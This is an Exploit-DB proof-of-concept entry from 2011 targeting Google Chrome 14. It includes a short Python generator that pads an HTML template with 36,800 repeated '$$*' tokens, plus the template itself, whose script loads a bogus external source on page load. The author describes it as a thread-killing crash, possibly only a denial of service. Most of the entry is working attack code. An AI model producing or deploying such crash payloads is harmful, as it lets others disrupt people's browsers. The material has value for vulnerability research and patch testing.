Google Chrome – Killing Thread (PoC)

  • 作者： pigtail23
    日期： 2011-10-22
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/18019/
  • ## _(`-')_ pigtail23 (`-') (`-')_ _ www.remoteshell.de ##
## \-.(OO ) (_).-> ( OO).->(OO ).-/(_)<-.##
## _.'\ ,-(`-') ,---(`-')/'._/ ,---. ,-(`-'),--. ) .----..----.##
##(_...--'' | ( OO)'.-(OO )|'--...__)| \ /`.\| ( OO)|(`-')\_,-.|\_.-,| ##
##||_.' | ||)|| .-, \`--..--''-'|_.' | ||)||OO ) .' .'|_<##
##|.___.'(||_/ || '.(_/ ||(|.-.|(||_/(|'__ | .'/_ .-. \| ##
##||||'->|'-'||| || || ||'->| |'||\ `-'/ ##
##`--'`--'`-----' `--' `--' `--' `--' `-----' `------' `---''##
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October 22, 2011

Ohh nice! What u doing google? Thx 4 ur bug! 0__o

Google Chrome PoC, killing thread. Exploitable or only a DOS!? Found no way to exploit it. Good Luck!!!

Testsystem: WinXP SP3, Win7(64 bit)
Google Chrome version: 14.0.835.202

Greetings to:
mr_insecure, myownremote, noptrix, Eph, lnxg33k, CyberMaN,...
TheXero, Dexter, #back-track.de and #intern0t @ irc.freenode.net

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poc.html:

too big!

###################################################################################

Python script for debugging:

#!/usr/bin/python

filename = 'poc.html'
content = open('template.html', 'r').read()

buff = '$$*' * 36800 

rc = 484
content2 = content[:rc] + buff + content[rc:]	

FILE = open(filename,"w")
FILE.write(content2)
FILE.close()

###################################################################################


template.html:

<html>
<body>
<script>(function(){var d=document;if(!("autofocus" in d.createElement("input"))){try{d.getElementById("yschsp").focus();}catch(e){}}data={"assist":{"url":"http:\/\/www.google.com","maxLength":38,"linkStem":"http:\/\/www.remoteshell.de","settingsUrl":"http:\/\/www.chrooome.xxx","strings":{"searchbox_title":"bam","settings_text":"bam","gossip_desc":"bam","scroll_up":"bam","scroll_down":"bam","aria_available_suggestions":"bam","aria_no_suggestion_available":"bam"}}};window.onload=function(){var h=d.getElementsByTagName("head")[0],o=d.createElement("script");o.src="http://www.0__o";h.appendChild(o);};}());</script>
</body>
</html>